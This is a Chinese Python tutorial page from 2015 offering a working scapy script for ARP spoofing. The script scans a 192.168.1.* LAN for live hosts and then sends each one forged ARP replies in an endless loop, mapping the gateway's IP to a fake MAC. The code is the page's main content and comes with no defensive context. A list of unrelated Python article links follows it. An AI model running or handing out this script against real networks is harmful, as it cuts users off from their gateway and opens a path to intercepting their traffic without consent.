python使用arp欺骗伪造网关的方法

 更新时间:2015年04月24日 15:18:27   作者:feiwen  
这篇文章主要介绍了python使用arp欺骗伪造网关的方法,涉及Python伪造网关的相关技巧,需要的朋友可以参考下

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

相关文章

  • 如何用Python进行回归分析与相关分析

    如何用Python进行回归分析与相关分析

    这篇文章主要介绍了如何用Python进行回归分析与相关分析,这两部分内容会放在一起讲解,文中提供了解决思路以及部分实现代码,需要的朋友可以参考下
    2023-03-03
  • python调用文件时找不到相对路径的解决方案

    python调用文件时找不到相对路径的解决方案

    这篇文章主要介绍了python调用文件时找不到相对路径的解决方案,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2023-03-03
  • Python中byte字符串转string的实现

    Python中byte字符串转string的实现

    本文主要介绍了Python中byte字符串转string的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2023-07-07
  • python中的gunicorn配置和使用教程

    python中的gunicorn配置和使用教程

    这篇文章主要介绍了python中的gunicorn配置和使用教程,本文通过示例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2023-06-06
  • python中对列表的删除和添加方法详解

    python中对列表的删除和添加方法详解

    这篇文章主要为大家详细介绍了python中对列表的删除和添加方法,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下,希望能够给你带来帮助
    2022-02-02
  • Python3 Tkinkter + SQLite实现登录和注册界面

    Python3 Tkinkter + SQLite实现登录和注册界面

    这篇文章主要为大家详细介绍了Python3 Tkinkter + SQLite实现登录和注册界面,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2019-11-11
  • Python利用zhconv模块进行简繁体字转换的案例演示

    Python利用zhconv模块进行简繁体字转换的案例演示

    zhconv是一个Python库,提供了简体字和繁体字之间的转换功能,本教程将向你展示如何使用zhconv模块来实现简繁体字的互转,并附带一个案例演示,感兴趣的朋友可以参考一下
    2024-05-05
  • 什么是Python变量作用域

    什么是Python变量作用域

    在本篇文章里小编给大家整理的是关于Python变量作用域的相关知识点内容,需要的朋友们可以学习下。
    2020-06-06
  • python实现图片批量剪切示例

    python实现图片批量剪切示例

    这篇文章主要介绍了python实现图片批量剪切示例,需要的朋友可以参考下
    2014-03-03
  • Python使用get_text()方法从大段html中提取文本的实例

    Python使用get_text()方法从大段html中提取文本的实例

    今天小编就为大家分享一篇Python使用get_text()方法从大段html中提取文本的实例,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-08-08

最新评论